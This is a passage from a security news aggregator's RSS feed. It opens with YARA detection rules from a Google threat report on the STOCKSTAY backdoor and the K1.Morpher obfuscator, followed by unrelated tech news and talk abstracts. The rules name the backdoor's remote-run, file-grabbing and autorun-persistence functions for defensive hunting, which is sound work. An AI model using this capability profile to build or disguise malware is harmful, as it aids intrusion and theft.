<p role="presentation"><span>RDP Connection Initiated from Staging Directory</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Onrender Subdomain Suspicious DNS Query</span></p>
</li>
</ul>
<h4><span>YARA Rules</span></h4></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_2 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects encrypted configuration files associated with STOCKSTAY."
        hash = "40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3"

    strings:
        $s1 = "\"SystemConfiguration\""
        $s2 = "An application for getting information about current events on trading platforms"
        $s3 = "To set the time for updating information, enter a value in minutes in the `Interval` field"
        $s4 = "The `SystemConfiguration` field stores the system settings of the application."
        $s5 = "In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`."
        $s6 = "wss://"

    condition:
        uint16(0) == 0x227B  // {"
        and 4 of ($s*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects early configuration files associated with STOCKSTAY."
        hash = "1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f"

    strings:
        $key_required_1 = "\"List 1\""
        $key_required_2 = "\"List 2\""
        $key_required_3 = "\"List 3\""
        $key_dummy_1 = "\"BinanceApi\""
        $key_dummy_2 = "\"CoinbaseCloudApi\""
        $key_dummy_3 = "\"CoinbaseCloudApi Sandbox\""
        $key_dummy_4 = "\"ByBitApi Spot\""
        $key_dummy_5 = "\"ByBitApi Linear\""
        $key_dummy_6 = "\"Info level\""
        $key_dummy_7 = "\"Rate info\""
        $key_dummy_8 = "\"Info level\""

    condition:
        uint8(0) == 0x7B  // {
        and filesize &gt; 500
        and all of ($key_required_*)
        and 3 of ($key_dummy*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_5 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext configuration files used by the STOCKSTAY malware family."
    hash = "6cee9e838792ac5e2098362d68ce93a9a2c095d476dc16b289fe8509c99b2b8b"

  strings:
    $internal_id_1 = "\"internal_id\""
    $internal_id_2 = "\"i_id\""
    $internal_key_1 = "\"internal_key\""
    $internal_key_2 = "\"i_k\""
    $interval_engine_1 = "\"interval_engine\""
    $interval_engine_2 = "\"ie\""
    $level_info_1 = "\"level_info\""
    $level_info_2 = "\"li\""
    $time_scale_1 = "\"time_scale\""
    $time_scale_2 = "\"ts\""
    $span_min_1 = "\"span_min\""
    $span_min_2 = "\"mx1\""
    $span_max_1 = "\"span_max\""
    $span_max_2 = "\"my1\""
    $rate_1 = "\"rate\""
    $rate_2 = "\"rt_x_y\""
    $rate_control_1 = "\"rate_control\""
    $service_1 = "\"service\""
    $service_2 = "\"srv\""
    $days_not_work_1 = "\"days_not_work\""
    $days_not_work_2 = "\"dnw\""
    $system_properties_1 = "\"system_properties\""
    $system_properties_2 = "\"sp\""

  condition:
    any of ($internal_id*)
    and any of ($internal_key*)
    and any of ($interval_engine*)
    and any of ($level_info*)
    and any of ($time_scale*)
    and any of ($span_min*)
    and any of ($span_max*)
    and any of ($rate*)
    and any of ($service*)
    and any of ($days_not_work*)
    and any of ($system_properties*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_CryptoContainer_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects code for parsing crypto containers within STOCKSTAY components."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $s1 = "BuildCryptoContainer"
        $s2 = "ParseCryptoContainer"
        $s3 = "Windows-1251" wide
        $s4 = "AesCryptoServiceProvider"
        $s5 = "RSACryptoServiceProvider"

    condition:
        uint16(0) == 0x5a4d
        and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_WindowNames_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY window names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"


    strings:
        $import = "_CorExeMain"
        $s2 = "SMEditorPage" wide
        $s3 = "SMNetPage" wide
        $s4 = "StockMarketViewPage" wide
        $s5 = "window_system32_x128" wide
        $s6 = "window_system32_x64" wide
        $s7 = "window_system32_x32" wide

    condition:
        $import 
        and any of ($s*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Downloader_STOCKSTAY_MARKETMAKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.MARKETMAKER downloader based on method names and payload filenames."
        hash = "da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40"

    strings:
        $f1 = "CheckAutoRun"
        $f2 = "SetupAutoRun"
        $f3 = "DownloadAndExtractZip"
        $f4 = "GetSystemProxy"

        $s0 = "_CorExeMain"
        $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
        $s2 = "StockMarketView.exe" wide
        $s3 = "SMNet.exe" wide
        $s4 = "SMEditor.exe" wide

    condition:
        all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Controller_STOCKSTAY_STOCKMARKET_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKMARKET controller based on method and field names, and SQL queries"
        hash = "2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0"

    strings:
        $f1 = "ProtocolMessageConnect"
        $f2 = "ProtocolMessageEnd"
        $f3 = "ProtocolMessagePing"
        $f4 = "ProtocolMessageRequestRecv"
        $f5 = "ProtocolMessageRequestSend"
        $f6 = "ProtocolMessageTask"
        $f7 = "ProtocolMessageTaskSysinfo"
        $f8 = "TMR_AppInit_Tick"
        $f9 = "TMR_Engine_Tick"
        $f10 = "TMR_KeepAlive_Tick"
        $f11 = "TMR_PingNet_Tick"
        $f12 = "TMR_PingSystem_Tick"
        $f13 = "GetDataTrade"
        $f14 = "GetDataNews"
        $f15 = "InsertDataTrade"
        $f16 = "InsertDataNews"
        $sql1 = "CREATE TABLE IF NOT EXISTS News (" wide
        $sql2 = "CREATE TABLE IF NOT EXISTS Trade (" wide
        $sql3 = "CREATE TABLE IF NOT EXISTS Market (" wide
        $sql4 = "INSERT INTO Market ( Guid, Version, Config, Status, Launch, Type ) VALUES (@Guid, @Version, @Config, @Status, @Launch, @Type)" wide
        $sql5 = "INSERT INTO News (Container) VALUES (@Container)" wide
        $sql6 = "INSERT INTO Trade (Container) VALUES (@Container)" wide

    condition:
        8 of ($f*)
        and any of ($sql*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Tunneler_STOCKSTAY_STOCKBROKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKBROKER tunneler based on known IPC message handler and variable names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"

    strings:
        $s1 = "_CorExeMain"
        $s2 = "ProtocolMessageStatusConnection"
        $s3 = "ProtocolMessageResult"
        $s4 = "ProtocolMessageEnd"
        $s5 = "OnGetDataFromServer"
        $s6 = "webSocket"
        $s7 = "wmCopyData"
        $s8 = "tempStorage"

    condition:
        all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_STOCKTRADER_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKTRADER backdoor based on known command handlers and FNV1a hashes."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $cmd_1 = "AppDel"
        $cmd_3 = "AppDeleteRegistryValue"
        $cmd_4 = "AppDir"
        $cmd_5 = "AppGet"
        $cmd_6 = "AppMkdir"
        $cmd_7 = "AppPut"
        $cmd_8 = "AppReadRegistryValue"
        $cmd_9 = "AppRegistryKeyExists"
        $cmd_10 = "AppRmdir"
        $cmd_11 = "AppRun"
        $cmd_12 = "AppWriteRegistryValue"
        $cmd_13 = "AppUnpackArchive"
        $cmd_14 = "ArchiveFiles"
        $cmd_15 = "GetFiles"
        $cmd_16 = "Sysinfo"
        
        $hash_1  = {ea8e5e34}
        $hash_2  = {3445694e}
        $hash_3  = {f73e97b6}
        $hash_4  = {9aa70c59}
        $hash_5  = {18b496c9}
        $hash_6  = {0f716ebc}
        $hash_7  = {8e2d79ce}
        $hash_8  = {3ae2a963}
        $hash_9  = {35d26840}
        $hash_10 = {6c41d6bc}
        $hash_11 = {1fdbbb2f}
        $hash_12 = {6ae6578d}
        $hash_13 = {66732be7}
        $hash_14 = {0b113b3d}

    condition:
        uint16(0) == 0x5a4d
        and (
            12 of ($cmd*)
            or 10 of ($hash*)
        )
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_1 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext class and method names associated with the .NET class K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $plain_api_1 = "Squirrel3"
    $plain_api_2 = "DecryptArraySimple"
    $plain_api_3 = "DecryptIntSimple"
    $plain_api_4 = "DecryptLongSimple"
    $plain_api_5 = "DecryptFloatSimple"
    $plain_api_6 = "DecryptStringSimple"
    $plain_api_7 = "DecryptDoubleSimple"
    $plain_api_8 = "_squ_ui1"
    $plain_api_9 = "_squ_ui2"
    $plain_api_10 = "_squ_ui3"
    $plain_api_11 = "InjectedSeedCipher"

  condition:
    dotnet.is_dotnet
    and 5 of ($plain_api*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_2 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $squirrel3_code_1 = {
      00 // nop
      03 // ldarg.1
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld &lt;token&gt;
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      02 // ldarg.0
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld &lt;token&gt;
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      62 // shl
      61 // xor
      0A // stloc.0
      06 // ldloc.9
      7E ??????04 // ldsfld &lt;token&gt;
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      0B // stloc.1
      2B 00 // br.s 40
      07 // ldloc.1
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_3 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "391e51354118fb87dc57650cbbd94258c3f7c0a0d6868040b7a473ad626ff25e"

  strings:
    $squirrel3_code_1 = {
      03 // ldarg.1
      7E??????04 // ldsfld &lt;token&gt;
      5A // mul
      02 // ldarg.0
      58 // add
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      7E??????04 // ldsfld &lt;token&gt;
      58 // add
      25 // dup
      1E // ldc.i4.8
      62 // shl
      61 // xor
      7E??????04 // ldsfld &lt;token&gt;
      5A // mul
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Gabby Roncone for technical review. We also appreciate GitHub for their collaboration against this threat. </span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple takes over Swift Package Index, vows to remove  GitHub dependency]]></title>
<description><![CDATA[SPI co-creator Dave Verwer joins Apple, says 'We will be moving away from that model completely']]></description>
<link>https://tsecurity.de/de/3624787/it-nachrichten/apple-takes-over-swift-package-index-vows-to-remove-github-dependency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624787/it-nachrichten/apple-takes-over-swift-package-index-vows-to-remove-github-dependency/</guid>
<pubDate>Thu, 25 Jun 2026 16:02:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SPI co-creator Dave Verwer joins Apple, says 'We will be moving away from that model completely']]></content:encoded>
</item>
<item>
<title><![CDATA[Swift Package Index Joins Apple, No Immediate Changes Planned for Developers]]></title>
<description><![CDATA[Swift Package Index, one of the most widely used tools in the Swift development community, has officially joined Apple. The platform helps developers discover Swift packages, verify compatibility across platforms and Swift versions, and access automatically generated documentation before adding d...]]></description>
<link>https://tsecurity.de/de/3622869/ios-mac-os/swift-package-index-joins-apple-no-immediate-changes-planned-for-developers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622869/ios-mac-os/swift-package-index-joins-apple-no-immediate-changes-planned-for-developers/</guid>
<pubDate>Wed, 24 Jun 2026 23:24:16 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Swift Package Index, one of the most widely used tools in the Swift development community, has officially joined Apple. The platform helps developers discover Swift packages, verify compatibility across platforms and Swift versions, and access automatically generated documentation before adding dependencies to their projects. While the announcement marks a major milestone for the service, the team says developers and package authors will not see any immediate changes.



According to the Swift Package Index team, the move gives the platform access to more resources while allowing it to continue serving the Swift ecosystem. The service recently surpassed 10,000 indexed Swift packages and processed more than 3.5 million compatibility builds across supported platforms during the past year.



Apple Plans Future Improvements for the Platform



The Swift Package Index team emphasized that the platform will continue operating as it does today while development accelerates under Apple.




"For developers and package consumers: Swift Package Index will continue to operate as it does today. You can continue to rely on it to discover packages, check compatibility, and explore documentation. As we embark on this new phase, our goal is to accelerate development and introduce new features that make discovering and evaluating packages even better."



Swift Package Index Team




The announcement also confirmed that Swift Package Index will remain open source, with Apple engineers contributing alongside existing community contributors. Package authors can continue publishing packages as usual, while future enhancements will focus on package signing, package identity, security, and overall ecosystem reliability.



Looking ahead, the team plans to share more details about the platform's future over the coming months. For now, Swift developers can continue using Swift Package Index as they always have, while Apple works to expand its capabilities and support the growing Swift package ecosystem.]]></content:encoded>
</item>
<item>
<title><![CDATA[All Sorted by Machines of Loving Grace? „AI“, Cybernetics, and Fascism and how to Intervene (tdf2026)]]></title>
<description><![CDATA[While the extreme right is on the rise in many countries and climate change is unrolling, a promising future seems to be written: According to Elon Musk, Sam Altman, and some other “tech bros” it is to leave the dying planet to go to space. With the help of something called “A(G)I”.
But what kind...]]></description>
<link>https://tsecurity.de/de/3622564/it-security-video/all-sorted-by-machines-of-loving-grace-ai-cybernetics-and-fascism-and-how-to-intervene-tdf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622564/it-security-video/all-sorted-by-machines-of-loving-grace-ai-cybernetics-and-fascism-and-how-to-intervene-tdf2026/</guid>
<pubDate>Wed, 24 Jun 2026 20:50:27 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While the extreme right is on the rise in many countries and climate change is unrolling, a promising future seems to be written: According to Elon Musk, Sam Altman, and some other “tech bros” it is to leave the dying planet to go to space. With the help of something called “A(G)I”.
But what kind of future is the one that is promised? And what is the connection between power cycles of tech company owners and people who's believes can be called fascist? As we moved power through data in the hands of very view, it is important to examine what ideas these view have in their heads.
This talk will explore the roots of today's tech fascism and its love for tech. From the early thoughts and movements in the US and Europe to Futurism and the Holocaust, organised with Hollerith punching cards. It will dive into the its blooming relationship with cybernetics, and take a look in the future the “tech bros” want to lure us in.
This talk will address the often overlooked topic of how and when people get comfy with diving into movements of hate and how to stop a white supremicy future where we will be sorted by machines.
And, in taking a look on past movements opposing authoritarianism and will examine mindsets and possibilities of resistance as well as the possibility of restarting everything. Because we have a planet and loved ones to lose.
Wear your safety cat-ears, buckle up, it will be a wild, but entertaining ride.

The idea of the Super-Human is not a new one, neither is the idea of charismatic „good“ leader nor to sort humans into classes, races, abilities. The idea of a view controlling many by force and ideas that justify their rulership and cruelties is an old one, as is the opposing idea of a free society and humans as equals.
A central aspect is how people involved see the human nature and according to that what society they want to build. And what role is intended for technology.
In the 19th century the beliefs of both the opposing sides dripped into science, as well as individual’s heads, and social movements around the world. While some wanted to form a wold society of equals others wanted to breed a master race that to control everything.

The love of industrial leaders for authoritarianism has played an important role since the beginning in funding and providing access to powerful networks. Industrialists like Henry Ford loved and promoted ideas at least close to fascism. German, Italian, and Austrian counterparts funded Hitler and Mussolini. And it is not that they did it because they did not understand the fascist leader’s yearning – it was because they shared and loved their aims and violence. 

In Futurism, one of the often overlooked roots of fascism, and its Manifesto the enemies and societal goals are proclaimed crystal clear: “We will glorify war — the only true hygiene of the world — militarism, patriotism, the destructive gesture of anarchist, the beautiful Ideas which kill, and the scorn of woman.“

After WWII most of the people believing in dominating others by force and eugenics lived on, they and their cronies had slaughtered millions and destroyed whole social movements were opposing them. These people warning us about authoritarian prophets of doom and concentration camps are still missing.

In the post-war time ideas of authoritarianism met a new player: Cybernetics, the believe in a future, where all problems will be solved through technology and we are “All Watched Over by Machines of Loving Grace” (Richard Brautigam, 1967). The ideas split, merged, and melted into new beliefs and quasi-religions. Into something that is called “Cyber-Libertarianism” by David Golumbia or “TESCREAL” by Émile P. Torres and Timnit Gebru. 

This talk will address an aspect that is often missing in analyses: What kind of breeding ground is it where ideas of fascism hatches best? And how can we stop iFascism instead of participating in it?

Furthermore, as being sorted by machines is not everyone's secret dream, ways to stop iFascism will be provided.

Because we are more, we care for people in need – and we are the chaos!

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://cfp.cttue.de/tdf5/talk/ZCCAY9/]]></content:encoded>
</item>
<item>
<title><![CDATA[Was ist eine EC-Karte? (gpn24)]]></title>
<description><![CDATA[Während Corona wurden digitale Zahlungsmethoden deutlich verbreiteter. Mittlerweile hat sich jedoch eine neue Skepsis eingestellt, insbesondere aufgrund der Abhängigkeit von US-Unternehmen. Dieser Talk gibt dementsprechend einen Überblick über digitale Zahlverfahren, sowie ein bisschen Geschichte...]]></description>
<link>https://tsecurity.de/de/3622498/it-security-video/was-ist-eine-ec-karte-gpn24/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622498/it-security-video/was-ist-eine-ec-karte-gpn24/</guid>
<pubDate>Wed, 24 Jun 2026 20:49:01 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Während Corona wurden digitale Zahlungsmethoden deutlich verbreiteter. Mittlerweile hat sich jedoch eine neue Skepsis eingestellt, insbesondere aufgrund der Abhängigkeit von US-Unternehmen. Dieser Talk gibt dementsprechend einen Überblick über digitale Zahlverfahren, sowie ein bisschen Geschichte und einen Ausblick auf die potenzielle Zukunft davon. Dabei wird auch ein grober Überblick über die Kostenstrukturen gegeben.

Der Talk greift den in Deutschland gebräuchlichen Begriff &quot;EC-Karte&quot; auf, dessen rechtliche Definition von dem abweicht, was die meisten Menschen unter dem Begriff verstehen. Darauf aufbauend soll die Geschichte der EC-Karte sowie von Konkurrenzprodukten gezeigt werden, und wie wir in der heutigen Zahlungslandschaft gelandet sind.
Dabei werden die wichtigen Zahlungssysteme SEPA, SWIFT, Girocard, VISA, MasterCard und weitere erklärt, sowie die damit verbundenen Kosten aufgezeigt. Dabei wird ein Fokus darauf gelegt, wie diese Kosten in der EU aussehen, wie (und ob überhaupt) sie reguliert sind, und für welchen Teil der Transaktionen die entsprechenden Regularien gelten.
Auch die Probleme der Systeme werden gezeigt, sowie ein Blick auf künftige Entwicklungen, als auch ein Überblick darüber, was andere Länder machen, soll gegeben werden.
Der Talk fokussiert sich zwar auf kartenbasierte Systeme, soweit Zeit ist, wird aber auch noch über Wero &amp; Konsorten gesprochen.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://cfp.gulas.ch/gpn24/talk/PAMMDN/]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Build a Credit Scoring Grid From a Logistic Regression Model]]></title>
<description><![CDATA[Turning model coefficients into a 0–1000 score, with risk classes and stability checks
The post How to Build a Credit Scoring Grid From a Logistic Regression Model appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3622362/ai-nachrichten/how-to-build-a-credit-scoring-grid-from-a-logistic-regression-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622362/ai-nachrichten/how-to-build-a-credit-scoring-grid-from-a-logistic-regression-model/</guid>
<pubDate>Wed, 24 Jun 2026 20:03:57 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Turning model coefficients into a 0–1000 score, with risk classes and stability checks</p>
<p>The post <a href="https://towardsdatascience.com/how-to-build-a-credit-scoring-grid-from-a-logistic-regression-model/">How to Build a Credit Scoring Grid From a Logistic Regression Model</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[These Apple OS betas are just what the believers wanted]]></title>
<description><![CDATA[Apple’s iOS 27/macOS 27 cycle is revealing something new: AI is only as good as the operating system that supports it. The latest beta releases show that after two years in which the company has promised to become AI-native, testers finally believe it’s happening as Apple prioritizes improved sys...]]></description>
<link>https://tsecurity.de/de/3622121/it-nachrichten/these-apple-os-betas-are-just-what-the-believers-wanted/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622121/it-nachrichten/these-apple-os-betas-are-just-what-the-believers-wanted/</guid>
<pubDate>Wed, 24 Jun 2026 18:18:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Apple’s iOS 27/macOS 27 cycle is revealing something new: AI is <a href="https://www.computerworld.com/article/4182977/wwdc-what-analysts-and-the-tech-industry-say.html">only as good as the operating system that supports it</a>. The latest beta releases show that after two years in which the company has promised to become AI-native, testers finally believe it’s happening as Apple prioritizes improved system performance and <a href="https://www.computerworld.com/article/4184484/siri-ai-is-all-apple-it-just-needed-google-to-get-there.html">Siri AI</a>.</p>



<p>For example, the second developer beta (released this week) has clarified the vague “indexing” prompt that showed up two weeks ago, replacing it with a clearer message reading “Optimizing Search and Siri.”</p>



<h2 class="wp-block-heading"><strong>What is indexing doing?</strong></h2>



<p>Developers digging into the code found the system is proactively building contextual maps of messages, notes, and photos, allowing the updated on-device architecture to swiftly pull up personal data without compromising privacy. It still takes time, but at least its purpose has been clarified.</p>



<p>The improved indexing seems to deliver smoother device performance overall, reflecting the deep architectural improvements supporting the entire release. Across communities like Reddit, early beta testers are reporting an unprecedented level of refinement for such an early build.</p>



<h2 class="wp-block-heading"><strong>Siri gets snappier</strong></h2>



<p>Where external server support isn’t required, beta testers indicate Siri is responding faster. Many are also trying out the new <em>Write with Siri</em> feature that appeared in the second beta with a dedicated command for this feature situated above the keyboard in supported apps.</p>



<p><em>Write with Siri</em> replaces the earlier Writing Tools panel with a natural language interface fully integrated with Siri, which means it can write responses informed by relevant information from messages, email, and other documents that Siri AI can access. When you tap the prompt, a text input field slides down from the Dynamic Island. The new tool will write contextually-relevant messages in Notes, Mail, and Messages on request, while the original Writing Tools remain.</p>



<p>Testers note that while the personalized context works remarkably well for tracking down past vacation details or messages, some functions such as Visual Intelligence and cross-app action tools are heavily restricted or throttled in early builds. </p>



<p>This reflects that Apple has only actively deployed limited server capacity at this point in the beta cycle, with more capacity scheduled to support full operation once the final versions ship. It is important to note that Apple continues to operate a wait list before providing beta testers with access to Siri AI.</p>



<h2 class="wp-block-heading"><strong>The quiet stuff that matters</strong></h2>



<p>The update also checks off a massive list of quality-of-life bug fixes. A notorious glitch that broke screenshot cropping in the earlier beta has been resolved, and chronic Wi-Fi connection drops have been stabilized. Native utilities such as the standalone Passwords app received layout upgrades, adding a swift “+” button directly to the main dashboard to bypass multi-step menus.</p>



<p>The new betas also introduce a clutch of interesting cross-device tools; developers can now fully interact with their phone’s interface using a Mac keyboard and trackpad, which makes testing apps during development much easier. They also note that audio routes flawlessly through desktop hardware when working this way.</p>



<p>For most iPhone users, the big improvement is that Apple has made Handoff faster and more responsive. You’ll also find solid RCS upgrades in Messages and a new Insights feature in Wallet to help improve financial management.</p>



<h2 class="wp-block-heading"><strong>An ecosystem getting ready</strong></h2>



<p>The new operating systems also appear to support future product development plans, with <a href="https://appleinsider.com/articles/26/06/23/tvos-27-beta-code-backs-up-homepod-and-apple-tv-siri-ai-rumors" target="_blank" rel="noreferrer noopener">code identified in tvOS 27</a> reportedly including a variety of Apple Intelligence frameworks. That’s going to turn HomePods and Apple TV devices into useful, integrated AI devices — just as watchOS 27 will turn Apple Watch into the most widely-used wearable AI platform.</p>



<p>Apple plans to release the first iOS 27 public beta in July, with the final version arriving for everyone this fall. Sadly, the new Siri AI features that arguably underpin the release will <a href="https://www.computerworld.com/article/4185115/why-europes-demands-on-apple-ai-put-your-data-at-risk.html">not be made available in Europe or China</a> due to regulatory problems, something that has <a href="https://www.applemust.com/siri-v-eu-petition-launches-to-protest-european-decision/" target="_blank" rel="noreferrer noopener">upset customers</a>.</p>



<p>Apple introduced a beta that feels remarkably close to a public release. But the bigger picture is that by improving the inherent architecture across its platforms, Apple is much better able to support the integrated, ecosystem-wide AI on which its future will be based.</p>



<p><em>Please join me on social media at <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, or <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a>, even better, please subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a> for your daily fix of human-curated Apple News.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-50221 | OpenStack Swift up to 2.35.2/2.36.1/2.37.1 Encryption Key server-side request forgery (Nessus ID 322295)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in OpenStack Swift up to 2.35.2/2.36.1/2.37.1. This issue affects some unknown processing of the component Encryption Key Handler. Such manipulation leads to server-side request forgery.

This vulnerability is listed as CVE-2026-50221. The attack m...]]></description>
<link>https://tsecurity.de/de/3621642/sicherheitsluecken/cve-2026-50221-openstack-swift-up-to-235223612371-encryption-key-server-side-request-forgery-nessus-id-322295/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621642/sicherheitsluecken/cve-2026-50221-openstack-swift-up-to-235223612371-encryption-key-server-side-request-forgery-nessus-id-322295/</guid>
<pubDate>Wed, 24 Jun 2026 16:10:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/openstack:swift">OpenStack Swift up to 2.35.2/2.36.1/2.37.1</a>. This issue affects some unknown processing of the component <em>Encryption Key Handler</em>. Such manipulation leads to server-side request forgery.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-50221">CVE-2026-50221</a>. The attack may be performed from remote. There is no available exploit.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[Developer resource Swift Package Index to stay open source after Apple acquisition]]></title>
<description><![CDATA[The Swift Package Index is no longer independent as Apple has taken control, but it will remain an open source search engine for third-party code.Swift icon - image credit: AppleIt's now a startling 12 years since Apple launched its Swift programming language for apps, and key to it from 2015 has...]]></description>
<link>https://tsecurity.de/de/3621573/ios-mac-os/developer-resource-swift-package-index-to-stay-open-source-after-apple-acquisition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621573/ios-mac-os/developer-resource-swift-package-index-to-stay-open-source-after-apple-acquisition/</guid>
<pubDate>Wed, 24 Jun 2026 15:52:39 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
